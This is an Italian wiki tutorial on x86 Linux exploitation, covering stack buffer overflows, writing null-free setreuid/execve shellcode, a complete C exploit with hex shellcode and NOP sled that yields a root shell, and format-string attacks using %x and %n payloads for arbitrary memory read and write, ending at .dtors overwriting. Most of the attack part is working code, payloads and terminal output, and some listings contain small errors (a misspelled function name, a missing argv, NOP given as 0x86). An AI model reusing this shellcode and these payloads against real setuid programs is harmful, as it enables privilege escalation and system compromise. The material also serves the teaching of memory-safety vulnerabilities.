Pagina principale

Da stackoverflow.
Jump to navigation Jump to search

Buffer Overflow

Un buffer è una serie continua di celle di memoria che contengono informazioni di uno stesso tipo ( numeri,caratteri, ecc ...). Overflow significa riempire oltre il limite, trabocare. Quindi un "Buffer Overflow" consiste nel mettere in un buffer più dati di quelli che questo possa contenere. Una vulnerabilità di questo tipo è causata da errori grossolani di programmazione, per l' appunto quando in fase di programmazione non si effettuano controlli sulle dimensioni dei dati.

Uno sguardo alla memoria

Prima di vedere come funziona realmente un buffer overflow diamo uno sguardo alle tre aree di memoria in cui è organizzato un processo.

         ---------  ---> INDIRIZZI ALTI DI MEMORIA

        |         |

        |  STACK  |

        |         |

        |---------|

        |         |     

        |  DATA   |

        |         |

        |---------|

        |         | 

        |  TEXT   |

        |         |

         ---------  ---> INDIRIZZI BASSI DI MEMORIA

Nell' area DATA si possono distinguere due tipi di dati:

- Inizializzati

- Non inizializzati (BSS)

Una visione più dettagliata è la seguente:



	 --------------------  ---> INDIRIZZI DI MEMORIA ALTI

	| proc. kernel stack |

	|--------------------|

	|      red zone      |

	|--------------------|

	|      user area     |

	|--------------------|

	|  struct ps_string  |

	|--------------------|

	|    signal code     |

	|--------------------| \

	|     env strings    |  \

	|--------------------|   \

	|    argv strings    |    \

	|--------------------|     \

	|    env pointers    |      ---> ARGOMENTI PASSATI E   

	|--------------------|     /     VARIABILI D' AMBIENTE

	|   argv pointers    |    /    

 	|--------------------|   /

	|        argc        |  /

	|--------------------| /

	|       STACK        | ---> NEI PROCESSORI INTEL LO STACK

	|         |          |      CRESCE VERSO IL BASSO

	|         |          |

	|         v          |	

	|                    |

	|                    |

	|         ^          |

	|         |          |

	|         |          |

	|        HEAP        | ---> E L' HEAP VERSO L' ALTO

	|--------------------|   

	|        BSS         | ---> DATI NON INIZIALIZZATI

	|--------------------|

	|     Init Data      | ---> DATI INIZIALIZZATI

	|--------------------|

	|       TEXT         |

         --------------------  ---> INIDIRIZZI DI MEMORIA BASSI (verso 0x00000000)


Sostanzialmente lo stack è una pila (LIFO) gestita da due istruzioni assembly PUSH e POP. PUSH mette un dato in cima alla pila e POP preleva dalla cima l'ultimo dato che è stato pushato. Ad esempio:

        mov  a,10

        mov  b,20

        push a

        push b

        pop  a   ;a=20  

        pop  b   ;b=10  

Come si può vedere a e b si sono invertiti perchè i dati si sarebbero dovuti prelevare in ordine inverso rispetto al loro inserimento.

Funzionamento dello stack

Lo stack e usato per memorizzare le variabili locali delle funzioni e gli argomenti a loro passati.Vediamone il funzionamento. Nei processori INTEL il registro ESP è usato per puntare costantemente alla cima dello stack, mentre il registro EBP viene usato come Frame Pointer e quindi non cambia mai all' interno della stessa funzione. Quindi per referenziare una qualsiasi variabile locale o un qualsiasi argometo ad essa passato basta servirsi di un offset che indichi la distanza da EBP. Vediamo un esempio:

esempio1.c

************************************

void function(int a,int b,int c){

	char buffer1[5];

	char buffer2[10];

}



void main(){

	function(1,2,3);

}

************************************

Se facciamo ora una sessione di debug vediamo che otteniamo:

	pushl $3

	pushl $2

 	pushl $1

 	call  function

Come si vede, nel main, prima si mettoni i tre argomenti necessari alla funzione sullo stack e dopo di che si chiama la funzione. Vediamo ora cosa succede all' interno della funzione:

	pushl %ebp

	movl  %esp,%ebp

	subl  $20,%esp

Questo è il così detto preludio di funzione:

- viene salvato il valore di ebp sullo stack in modo da poterci tornare una volta terminata la funzione

- il contenuto di esp viene copiato in ebp

- viene sottrato venti a esp

Perchè venti? Verebbe spontaneo pensare di sottrarre 15 in quanto la somma dei due buffer da 15, ma bisogna pensare in byte ed un array di 5 char in realtà occuperà 8 byte.Ecco percheè il 20. Possiamo ora analizzare lo stack dopo la chiamata di funzione:

MEMORIA BASSA                                  MEMORIA ALTA    



    [ buffer2 ][ buffer1 ][ fp ][ ret ][ a ][ b ][ c ]



Cos'è l' overflow

Vediamo finalmente cosa succede fisicamente quando si ha un buffer overflow. Consideriamo il seguente codice:

esempio2.c

***********************************************

void funciont(char *str){

	char buffer[16];

	strcpy(buffer,str);

}



void main(){

	int i;

	char large_string[256];

	for(i=0;i<255;i++)large_string[i]='A';

	function(large_string);

}

***********************************************

In questo codice è presente un buffer overflow, infatti nella funzione, quando si uso lo strcpy() non è fatto nessun controllo sulla dimensione della stringa str passata come argomento. Quindi si sta cercando di copiare un' array di 255 elementi in uno di 16. Non appena si manderà in esecuzione questo codice si otterrà un: SEGMENTATION FAULT. Vediamo perchè:

    buffer[16]      fp   ret

[AAAAAAAAAAAAAAAA][AAAA][AAAA] .....



E' successo che stringa passata come argomento non potendo essere contenuta dentro buffer, è andata a sovrascrivere il Frame Pointer e anche il RET con AAAA che in esadecimale è 0x41414141. Il SEGMENTATION FAULT viene proprio da qui, infatti quando la funzione ritorna va a leggere nel RET il valore 0x41414141 che non è un indirizzo di memoria valido. Ma cosa succederebbe se invece di un indirizzo di memoria non valido nel RET si fosse trovato un indirizzo di memoria valido?

Alterare il flusso di esecuzione

Vediamo ora invece come sia possibile alterare il flusso di esecuzione del programma giocando con il RET.

esempio3.c

**********************************************

void function(int a,int b,int c){

	char buffer1[5];

	char buffer2[10];

	int *ret;

	

	ret=buffer1 + 12; //così ret contiene l' indirizzo di RET

	(*ret) +=8;       //lo aumento di 8 byte per il salto ...

}



void main(){

	int x;

	x = 0;

	function(1,2,3);

	x = 1;

	printf("%d\n",x);

}

***********************************************

Se si fa bene attenzione, in questo codice, si sta cercando di far saltare al flusso del programma l' esecuzione dell' assegnazione x = 1. Infatti facendo una sessione di debug si può vedere che si è manipolato l' indirizzo di ritorno della funzione in modo da non farlo ritornare all' istruzione successiva a dove era avvenuta la chiamata, ma esattamente 8 byte più in là, giusto per saltare l' assegnamento.

Come si costruisce il buffer

Cerchiamo di capire cos'è uno shellcode e a cosa ci può servire. Abbiamo capito che in un programma passibile della vulnerabilità di cui si sta discutendo, è possibile modificare l' indirizzo di ritorno della funzione, a proprio piacimento. Naturalmente, come si è visto, l' indirizzo di ritorno deve essere un indirizzo valido se non si vuole ottenere un SEGMENTATION FAULT. A questo punto incomincia a prendere forma l' idea di redirigere il flusso del programma verso un codice eseguibile. Se si riesce a manomettere un programma suid root e a fargli eseguire uno shellcode ( un codice di shell ) allora ci si troverà ad avere una shell con privilegi di root.

Lo shellcode ( bytecode ) è un pezzo di codice autonomo, progettato in modo astuto ed iniettato nel buffer in questione. Quindi basterà far saltare l' indirizzo di ritorno di cui si parlava prima, all' indirizzo del buffer per far eseguire lo shellcode. Una nota importante da fare è che tutto questo è possibile perchè in sistemi quali Linux o Windows ed in molti altri, lo stack è eseguibile, quindi se vi si mette una seguenza di istruzioni, questà verrà eseguita.

Fatta questa precisazione, vediamo come possiamo impostare il problema, cosa che è più facile a dirsi che a farsi.

Infatti un primo problema che bisogna considerare è che il bytecode che andiamo a scrivere, non deve contenere byte nulli, altrimenti questi verrano interpretati dalla funzione strcpy() come un fine stringa.

un altro problema riguarda l' indirizzo di ritorno che deve essere noto, e questo non è molto facile visto che lo stack cambia in modo dinamico. Per risolvere quest' ultimo problema si ricorre a due tecniche. La prima è la così detta "NOP sled", con la quale si riempe la prima parte del buffer di istruzioni NOP ( 0x86 ), un istruzione che non fà assolutamente nulla, se non incrementare l' EIP alla prossima istruzione, che sarà un altro NOP fino ad arrivare allo shellcode. Quindi in questo modo si aumentano le possibilità di indovinare

l' indirizzo dello shellcode. L' altra tecnica e quella di riempire la fine del buffer con una serie di istanze contigue dell' indirizzo di ritorno, in questo modo purchè uno di questi indirizzi sovrascriva l' indirizzo di ritorno reale, si avrà l' effetto desiderato. Di solito si usano entrambe queste tecniche, quindi il buffer da noi artefatto dovrà avere la seguente forma:



   -------------------------------------------------------------------

  |  NOP Sled     |     Shellcode     | Indirizzo di ritorno ripetuto |

   -------------------------------------------------------------------     



Comunque anche utilizzando entrambe queste tecniche, occorre conoscere approssimativamente la posizione del buffer nella memoria per indovinare l' indirizzo di ritorno corretto.

Scrittura del bytecode

Cercheremo ora di spiegare come si scrive un bytecode, ovvero come detto in un precedenza un pezzo di codice autonomo. Linux, mette a disposizione del programmatore una serie di funzioni facilmente eseguibili dall' assembly. Esse sono note come System Call e vengono innescate mediante interrupt. In /usr/include/asm/unistd.h è presente il listato delle syscall enumerate. Utilizzando un paio di istruzioni assembly e queste syscall è possibile scriver pezzi di bytecode che assolvono a svariate funzioni. Il primo esempio che si riporta e la scrittura di un bytecode che scriva a video "HELLO" e poi termini. Si capisce che per scrivere un programma del genere abbiamo bisogno di due sole chiamate sistema: write() e exit(). write() ci servirà per scrivere a video la stringa "HELLO" e exit() invece per far terminare il programma in maniera ortodossa. Quando si effetua una chiamata di sistema in linguaggio assembly i registri EAX, EBX, ECX, EDX si utilizzano per mettervi gli argomenti della syscall e per stabilire quale funzione deve essere richiamata, dopo di che si utilizza uno speciale interrupt ( 0x80 ) per dire al kernel di utilizzare quella particolare funzione.

Nel caso specifico della write(), EAX viene usato per desiganre la funzione, EBX per il primo parametro, ECX per il secondo e EDX per il terzo. Vediamo il codice assembly:


esempio4.asm

********************************************************************



section         .data

msg             db        "HELLO"

section         .text

global          _start



_start:



;write() call



	mov eax, 4         ; numero della syscall

	mov ebx, 1         ; stdout per avere l' out sul terminale

	mov ecx, msg       ; inserimento della stringa

        mov edx, 13        ; dimensione della stringa

 

        int 0x80           ; richiamo del kernel per fare avvenire

                           ; la chiamata



;exit() call



	mov eax, 1         ; numero della syscall

        mov ebx, 0         



        int 0x80



*********************************************************************



Questo programma può essere assemblato e linkato in modo da creare un binario eseguibile.

$ nasm -f elf esempio4.asm

$ ld esempio4.o

$ ./a.out

HELLO

Vediamo come possiamo sfruttare tutto questo per i nostri scopi, cioè in sostanza cerchiamo di scrivere in assembly un codice che esegua il comando /bin/sh ( una shell ). Per fare questo ci servono due chiamate di sistema: execve() e setreuid(). La prima ci serve per mandare in esecuzione la shell, mentre la seconda ci serve perchè molti programmi suid root annullano i privilegi di root ogni volta che possono ( per motivi di sicurezza ), se questi privileggi non vengono ripristinati si otterra una shell utente normale. Ma passiamo al codice:

esempio5.asm

************************************************************************



section .data

path    db    "/bin/shXAAAABBBB"

section .text

global _start

_start:



;setreuid(uid_t ruid, uid_t euid)



	mov eax, 70       ; 70 è il numero della chiamata setreuid

	mov ebx, 0        ; 0 per impostare il real uid su root

	mov ecx, 0        ; 0 per impostare l' effettivo uid su root



	int 0x80



;excve(const char *filename,char *const argv[],char *const envp[])



	mov eax, 0	  ; azzero eax

	mov ebx, path	  ; inserisco l' indirizzo della stringa in ebx

	mov [ebx+7], al   ; inserisco 0 dopo /bin/sh ( in 'X' )

	mov [ebx+8], ebx  ; inserimento dell' indirizzo della stringa

			  ; da ebx nel punto in cui AAAA si trova nella

			  ; stringa

        mov [ebx+12], eax ; inseromento di un indirizzo null ( 4 byte )

			  ; nel punto in cui BBBB si trova nella stringa

	mov eax, 11	  ; 11 è il numero della chiamata execve()

	lea ecx, [ebx+8]  ; carico in ecx l' indirizzo del punto in cui 

			  ; AAAA si trova nella stringa

	lea edx, [ebx+12] ; carico in edx l' indirizzo del punto in cui

			  ; BBBB si trova nella stringa

	int 0x80



*************************************************************************

Il codice è abbastanza commentato. Qualche parola in più è doverosa sull' uso della stringa /bin/shXAAAABBBB. Infatti questo è un artificio che si usa in quanto gli ultimi due argomenti di execve() sono puntatori di puntatori. Cioè l' argomento dev' essere l' indirizzo di un indirizzo contenente l' informazione finale. Detto questo compiliamo il codice:

$ nasm -f elf esempio5.asm

$ ld esempio.o

$ ./a.out

sh-2.05a$ exit

exit

$ sudo chown root a.out

$ sudo chmod +s a.out

$ ./a.out

sh-2.05a#


Ha funzionato!

Shellcode completo

Purtroppo il codice esempio5.asm è ben lungi dall' essere uno shellcode appropriato. Infatti questa soluzione andrebbe bene se si stesse scrivendo un programma standalone, ma noi vogliamo un codice che possa essere iniettato in programma funzionante. La nostra stringa non deve essere memorizzata nel segmemto dati. Occore immagazzinare la stringa proveniente dal segmento dati assieme al resto delle istruzione assembly e trovare un modo per scoprire l' indirizzo di questa stringa. Non bisogna dimenticare il fatto che non possiamo sapere la posizione esatta del nostro shellcode in esecuzione in memoria. Per scoprire l' indirizzo possiamo service delle due istruzioni assembly JMP e CALL che possono utilizzare l' indirizzamento relativo. Così usere una CALL per spostare l' EIP in una certa posizione di memoria e quindi salvare l' indirizzo di ritorno sullo stack, se l' istruzione successiva alla CALL è una stringa l' indirizzo di ritorno potrà essere utilizzato per far riferimento alla stringa. In pratica si fa questo: All' inizio del programma si fa saltare ( JMP ) alla parte inferiore del codice dove si trovano una CALL e la stringa. L' indirizzo della stringa viene salvata sullo stack quando viene eseguita la CALL. La CALL fa saltare l' esecuzione un po indietro in una posizione relativa appena dopo l' istruzione di salto precedente ( la JMP ) e l' indirizzo della stringa puo così essere recuperato.

In pseudo assembly:

jmp fine:

inizio:

pop ebx

fine:

call inizio

db 'stringa'



Vediamo come viene modificato il codice esempio5.asm con gli accorgimenti di cui si è discusso:

esempio6.asm

**********************************************************************



BITS 32



;setreuid(uid_t ruid, uid_t euid)



	mov eax, 70

	mov ebx, 0

	mov ecx, 0

	

	int 0x80



	jmp short fine:



inizio:

	

	pop ebx               ; viene recuperato l' indirizzo di 

			      ; ritorno dello stack, per inserire

			      ; l' indirizzo della stringa in ebx



;execve(const char *filename, char *const argv[],char *const envp[])



	mov eax, 0

	mov [ebx+7], al

	mov [ebx+8], ebx

	mov [ebx+12], eax



	mov eax, 11

	lea ecx, [ebx+8]

	lea edx, [ebx+12]



	int 0x80



fine:



	call inizio

	db '/bin/shXAAAABBBB'



**********************************************************************

L' ultimo problema da risolvere per quanto rigurada lo shellcode è la rimozione dei "byte null". Infatti, è necessario, che nel nostro bytecode non sia presente alcun byte nullo, perchè altrimenti lo strcpy() del programma vulnerabile, interpreterebbe questo come un fine stringa. Sostanzialmente occorre un metodo per inserire il valore statico 0 in un registro, senza però utilizzare lo 0. Una prima soluzione è spostare un numero a 32 bit dentro un registro e successivamente sottrarlo da tale registro.

mov eax,0xaabbccdd

sub eax,0xaabbccdd

Questa tecnica funziona, ma richiede il dobbio delle istruzioni, quindi non è molto consigliabile. Un' altra soluzione più efficiente che consente di azzerare un registro in una sola istruzione, è quella di utilizzare lo XOR esclusivo.

xor ebx, ebx           ; 0 in ebx

lo xor di due valori uguali da sempre 0. Ora possiamo scrivere lo shellcode definitivo, aiutandoci con un editor esadecimale per modificare le istruzioni dove si presentano byte nulli:

esempio7.asm

***********************************************************************



BIT 32



;setreuid(uid_t ruid, uid_t euid)



	xor eax, eax

	mov al, 70

	xor ebx, ebx

	xor ecx, ecx



	int 0x80

	

	jmp short fine:



inizio:



	pop ebx



;execve(const char * filename, char *const argv[], char *const envp[])



	xor eax, eax

	mov [ebx+7], al

	mov [ebx+8], ebx

	mov [ebx+12], eax

	mov al, 11

	lea ecx, [ebx+8]

	lea edx, [ebx+12]



	int 0x80



fine:



	call inizio

	db '/bin/shXAAAABBBB'



**************************************************************************



Finalmente abbiamo ottenuto una shellcode degno di questo nome. Come ultima cosa bisogna solo riscriver il codice in C usando l' inline assembly:

esempio7.c

**************************************************************************



<nowiki>#include <stdio.h><nowiki>



int main(){



	__asm__("



		xor eax, eax

		mov al, 70

		xor ebx, ebx

		xor ecx, ecx

		int 0x80

		jmp short fine:

		inizio:

		pop ebx

		xor eax, eax

		mov [ebx+7], al

		mov [ebx+8], ebx

		mov [ebx+12], eax

		mov al, 11

		lea ecx, [ebx+8]

		lea edx, [ebx+12]

		int 0x80

		fine:

		call inizio

		db '/bin/shXAAAABBBB'

		")

	}



***************************************************************************

e codificare il tutto in binario in modo da poterlo mettere nel nostro buffer. Pre fare questo possiamo utilizzare il gdb, per ottenere l' opcdoe di ogni istruzione.

$gdb esempio7

(gdb) x/xb main

0x31

(gdb) x/xb main+1

0xc0

(gdb) x/xb main+2

0xb0

	.

	.

	.



Alla fine scriveremo il nostro shellcode in questo modo:

"\x31\xc0\xb0........................................."

Scrittura dell' exploit

A questo punto abbiamo tutto l' occorrente per scrivere un exploit. Supponiamo di avere il seguente programma vulnerabile:

vuln.c

************************************************************************



#include <stdio.h>



int main(){

	

	char buffer[500];

	strcpy(buffer, argv[1]);

	return 0;



	}



************************************************************************

e scriviamo l' exploit:

exp.c

************************************************************************


#include <stdio.h>

#include <stdlib.h>

#include <string.h>



//bytecode

char shellcode[] =



	"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"

	"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"

	"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"

	"\x68";



//Indirizzo dello stack pointer

unsigned long sp(void){



	__asm__("movl %esp, %eax);



	}



int main(int argc, char *argv[]){



	int i,offset;

	long esp, ret, *addr_ptr;

	char *buffer, *ptr;



	offset = 0;

	esp = sp();



	ret = esp - offset;



	printf("Stack pointer (ESP) : 0x%x\n", esp);

	printf("    Offset from ESP : 0x%x\n", offset);

	printf("Desired Return Addr : 0x%x\n", ret);



        //Allocazione di 600 byte per il buffer ( nell' heap )

	buffer = malloc(600);

        

        //Riempimento dell' intero buffer con l' indirizzo di ritorno

	ptr = buffer;

	addr_ptr = (long *)ptr;

	for(i=0;i<600;i+=4)

		*(addr_ptr++) = ret;



	//Riempimento dei primi 200 byte con l' istruzione NOP

	for(i=0;i<200;i++)

		buffer[i] = '\x90';



	//Inserimento dello Shellcode dopo il NOP Sled

	ptr = buffer + 200;

	for(i=0;i < strlen(shellcode);i++)

		*(ptr++) = shellcode[i];

	

	//Fine della stringa

	buffer[600 - 1] = 0;



	//Ora si richiama il programma ./vuln con il buffer manipolato

	//come argomento

	execl("./vuln", "vuln", buffer, 0);

	

	//Si libera la memoria del buffer

	free(buffer);



	return 0;



	}



***************************************************************************

Compiliamo e mandiamo in esecuzione vuln.c e vediamo se funziona:

$ gcc -o exploit exploit.c

$ ./exp

Stack pointer (ESP) : 0xbffff978

    Offset from ESP : 0x0

Desired Return Addr : 0xbffff978

sh-2.05a# whoami

root

sh-2.05a#

Apparentemente ha funzionato, però in generale occorre conoscere approssimamente la posizione del buffer nella memoria per indovinare l' indirizzo di ritorno corretto.

Format string overflow

I format string vengono usati da funzioni che prevedono la formattazione, come printf(). Ad esempio:

printf("La somma è: %d\n",somma);

In questo caso il format string è "La somma è %d\n", e printf stamperà questa stringa, ma quando incontrerà il parametro di formato %d effettuerà un operazione speciale: nello specifico stamperà l' argomento successivo come argomento decimale. Altri parametri di formato sono:

%u            Decimale Unsigned

%x            Esadecimale

%s            Stringa

%n            Numero di byte scritti

Questi ultimi 2 ( %s %n ) a differenza degli altri si aspetta di ricevere un puntatore: %s riceve un indirizzo di memoria e stampa i dati trovati a tale indirizzo, mentre %n riceve un indirizzo di memoria e scrive in tale indirizzo il il numero di byte sinora scritti. Quindi la funzione printf() si aspetta che se ci sono due parametri di formato all' interno del format string, ci dovranno essere altri due argomenti oltre al format string. E' proprio questo il punto sul quale si basa questo tipo di vulnerabilità: cosa succede se ad esempio ci sono due argomenti e 3 parametri di formato nel format string?

Uno sguardo allo Stack

Prima di descrivere la vulnerabilità ed il modo di sfruttarla, vediamo come si presenta lo stack quando viene richiamata una printf() ad esempio del seguente tipo:

printf("L' intero A è %d  B è %d e la loro somma è : %d\n",a,b,somma);

Avremo:



	PARTE SUPERIORE DELLO STACK



	 -------------------------------

	|  INDIRIZZO DEL FORMAT STRING  |

	|-------------------------------|

	|  VALORE DI a                  |

	|-------------------------------|

	|  INDIRIZZO DI a               |

	|-------------------------------|

	|  VALORE DI b                  |

	|-------------------------------|

	|  INDIRIZZO DI b               |

	|-------------------------------|

	|  VALORE DI somma              |

	|-------------------------------|

	|  INDIRIZZO DI somma           |

	 -------------------------------



	PARTE INFERIORE DELLO STACK

Quindi nel caso mancasse un argomento, cioè se ci fosse un parametro in più rispetto agli argomenti presenti, la funzione di formato estrarrebbe dati dal punto in cui si sarebbe dovuto trovare l' argomento mancante.

Read

Analiziamo il problema considerando un programma che presenta questo tipo di vulnerabilità.

frm_vuln.c

***********************************************



#include <stdio.h> ?>

int main(int argc, char *argv[]){


	static int test = -72;

	char buffer[64];

	strcpy(buffer,argv[1]);

	printf(buffer);

	printf("\n");

	printf("%x = %d %x\n",&test,test,test);

	exit(0);


	}



***********************************************

Compiliamo ed eseguiamo:

[email protected]:~# gcc -o frm_vuln frm_vuln.c

[email protected]:~# ./frm_vuln AAAA

AAAA

80496b4 = -72 ffffffb8

Vengono stampate le informazione di debug inserite nel programma, e apparentemente non sembra essere successo niente di anomalo. Proviamo ora a passare dalla riga di comando un parametro di formato:

[email protected]:~# gcc -o frm_vuln frm_vuln.c

[email protected]:~# ./frm_vuln AAAA%x

AAAAbffff9ee

80496b4 = -72 ffffffb8

Abbiamo ottenuto un indirizzo di memoria, perchè? Come detto sopra il format string ha letto l' indirizzo di memoria dove si aspettava di trovare l' argomento relativo al parametro di formato inserito dalla linea di comando. Quindi è possibile leggere lo stack, e quindi anche il format string ( visto che anche questo sta sullo stack ), infatti:

[email protected]:~# gcc -o frm_vuln frm_vuln.c

[email protected]:~# ./frm_vuln AAAA%x.%x.%x.%x

AAAAbffff9e5.40030285.40133ff4.41414141        <---- "AAAA"

80496b4 = -72 ffffffb8

Allora si potrebbe sfruttare il format string per fornire un indirizzo al parametro di formato %s e quindi leggere da indirizzi di memoria arbitrari. Per provare potremmo voler stampare una variabile d' ambiente. Costruiamoci quindi un programmino ad hoc per recuperne l' indirizzo.

getenvaddr.c

****************************************************

#include <stdio.h>

#include <stdlib.h>



int main(int argc, char *argv[]){



	char *addr;

	addr = getenv(argv[1]);

	printf("%s is located in: %p",argv[1],addr);

	return 0;

	}



*****************************************************



[email protected]:~# gcc -o getenvaddr getenvaddr.c

[email protected]:~# ./getenvaddr PATH

PATH is located in: 0xbffffe81

All' indirizzo trovato bisogna aggiungere 4 in quando la lunghezza del programma frm_vuln è inferiore di 2 byte rispetto a getenvaddr ed inoltre bisogna invertire l' ordine dei byte a causa dell' ordinamento little- endian. Quindi:

[email protected]:~# ./frm_vuln `printf "\x85\xfe\xff\xbf"`.%x.%x.%x%s

…þÿ¿bffff9e6.40030285.40133ff4/usr/local/sbin:/usr/sbin:/sbin:/usr/local

/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/lib/java/bin:/usr/lib/

java/jre/bin:/usr/share/texmf/bin

80496b4 = -72 ffffffb8

Come si può vedere si è ottenuta la stringa all' indirizzo di memoria della variabile d' ambiente PATH, cioè siamo riusciti a leggere da un indirizzo arbitrario di memoria.

Write

Si è visto come sia possibile leggere da un indirizzo arbitrario di memoria. Ora vedremo invece come sfruttare la vulnerabilità per scrivere su un indirizzo arbitrario di memoria. Per fare questo bisogna introdurre un altro parametro di formato: %n. Con questo è possibile scrivere il numero di byte scritti. Ad esempio proviamo a scrivere sull' indirizzo della variabile test:

[email protected]:~# ./frm_vuln AAAA

AAAA

80496b4 = -72 ffffffb8

L' indirizzo della variabile test è: 0x080496b4

[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%x%n

bffff9e0.40030285.40133ff4

80496b4 = 30 1e

Siamo riusciti a scrivere sulla variabile test, ora al posto di -72, vale 30. Sfruttando ora la larghezza di campo dei parametri di formato facciamo un ancora una prova:

[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%200x%n

bffff9e3.40030285.                                                                                                                                                                                                40133ff4

80496b4 = 222 de

Ora test vale 222. E' palese che si può controllare il byte meno significativo. Si inizia a intravedere la possibilità di creare un indirizzo arbitrario giocando sulla larghezza di campo, è necessario solo un pò di ragionamento e qualche piccolo calcolo. Vogliamo, come prima prova ad esempio, provare a scrivere l' indirizzo 0xddccbbaa. Visto che siamo in grado di controllare il byte meno significativo, possiamo scrivere un indirizzo completto con 4 operazioni di scritture in corrispondenza di indirizzi sequenziali di memoria. Cioè:

1) AA 00 00 00                  0x080496b4

2) BB 00 00 00                  0x080496b5

3) CC 00 00 00                  0x080496b6

4) DD 00 00 00                  0x080496b7

Partiamo dal primo:

[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%x%n

bffff9e0.40030285.40133ff4

80496b4 = 30 1e

Al 30 bisogna sottrare gli 8 byte che stampa come output l' ultimo parametro di formato %x:

30 - 8  = 22 (DEC) ---> (HEX) 16

AA - 16 = 94 (HEX) ---> (DEC) 148

Mettendo ora 148 come larghezza di campo dovremmo ottenere 0xAA come byte meno significativo:

[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%148x%n

bffff9e3.40030285.                                                            

                                                                              

  40133ff4

80496b4 = 170 aa

Ok. Ora per la prossima operazione di scrittura occorre un altro argomento per un altro parametro di formato %x. Questa può essere una word di qualsiasi tipo purchè occupi una lunghezza di 4 byte. Ad esempio la word HACK. Insomma dobbiamo ottenere una situazione del tipo:

    ----------- ------- ----------- ------- ----------- ------- -----------

   |b4|96|04|08|H|A|C|K|b5|96|04|08|H|A|C|K|b6|96|04|08|H|A|C|K|b7|96|04|08|

    ----------- ------- ----------- ------- ----------- ------- -----------

Ora però dobbiamo rifare i calcoli anche per la primo scrittura, in quanto è aumentato il numero di byte scritti. Ricominciamo:

[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK

\xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%x%n

HACKµ–��HACK¶–��HACK·–��bffff9ce.40030285.40133ff4

80496b4 = 54 36



54 - 8  = 46 (DEC) ---> (HEX) 2E

AA - 2A = 7C (HEX) ---> (DEC) 124



[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK

\xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n

HACKµ–��HACK¶–��HACK·–��bffff9cb.40030285.                              

                                                                                      40133ff4

80496b4 = 170 aa



Scriviamo ora 0xBB

BB - AA = 11 (HEX) ---> (DEC) 17



[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK

\xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n%17x%n

HACKµ–��HACK¶–��HACK·–��bffff9c5.40030285.                              

                                                                        

              40133ff4         4b434148

80496b4 = 48042 bbaa



Continuiamo:

CC - BB = 11 (HEX) ---> (DEC) 17



[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK

\xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n%17x%n%17x%n

HACKµ–��HACK¶–��HACK·–��bffff9bf.40030285.                      

                                                                       

                     40133ff4         4b434148         4b434148

80496b4 = 13417386 ccbbaa



DD - CC = 11 (HEX) ---> (DEC) 17



[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK

\xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n%17x%n%17x%n%17x%n

HACKµ–��HACK¶–��HACK·–��bffff9b9.40030285.                              

                                                                       

               40133ff4         4b434148         4b434148         

4b434148

80496b4 = -573785174 ddccbbaa



Abbiamo ottenuto l' indirizzo desiderato. In questo caso siamo stati fortunati, perchè ogni byte che cercavamo di scrivere era sempre maggiore del precedente e quindi ottenevamo sempre un risultato positivo ( BB > AA ...). Naturalmente potrebbe accadere benissimo un indirizzo del tipo 0x0806cdef. In questo caso, nella seconda operazione di scrittura, andando a fare cd - ef otterremmo un risultato negativo, che non ci è utile, in quanto noi posiamo solo incrementare il contatore di byte per il parametro di formato %n. Allora in questo caso, si incrementa il byte meno significativo per ottenere 0x1CD e si fa la sottrazione:

1CD - EF = DE (HEX) ---> (DEC) 222

Detto ciò possiamo ottenere ora qualsiasi indirizzo che vogliamo, ed unendo la lettura e la scrittua rispettivamente da e su indirizzo arbitrario, si può far eseguire alla macchina codice arbitrario.

Accesso diretto ai parametri

Con l' accesso diretto ai parametri ($) si possono semplificare gli exploit, non preoccupandosi del fatto di inserire la word di 4 byte. Cioè $N%d consente di accede al parametro N e di visualizzarlo come intero.

Ad esempio:

printf("$7%d $3%d\n",11,22,33,44,55,66,77,88);

visualizzerà:

77 33

Quindi a questo punto se si volesse scrivere l' indirizzo considerato prima si dovrebbe procedere nel sequente modo:

[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08\xb5\x96\x04\x08\xb6\x96\x04\x08

\xb7\x04\x08"`%3\$x%4\$n

40133ff4

80496b4 = 24 18

"\" è necessario perchè il $ per non fare in terpretare alla shell il $ come carattere speciale. Ora bisogna solo rifare i calcoli come prima, e alla fine si ottiene:

[email protected]:~# ./frm_vuln `printf "\xb4\x96\x04\x08\xb5\x96\x04\x08\xb6\x96\x04\x08

\xb7\x04\x08"`%3\$154x%4\$n%3\$17x%5\$n%3\$17x%6\$n%3\$17x%7\$n

µ–��¶–��·–��                                                          

                                                                     

                   40133ff4         40133ff4         40133ff4         

40133ff4

80496b4 = -573785174 ddccbbaa

Studio del DTORS

Nel formato dei binari ELF alla compilazione, vengono create due sezioni speciali .dtors e .ctors ( distruttori e costrutturi ). Le funzioni costruttori vengono eseguite prima dell' esecuzione del main, mentre le distruttori prima dell' uscita del programma dal main a seguito di una chiamata di sistema exit. Siamo interessati alla sezione .dtors. Se analizziamo questa sezione con objdump ci accorgiamo che questa sezione non è marcata a sola lettura, quindi se riuscissimo a sovrascrivere l' indirizzo del DTORS potremmo ridirezzionare il flusso del programma ed eseguire codice arbitrario.

./frm_vuln:     file format elf32-i386



Sections:

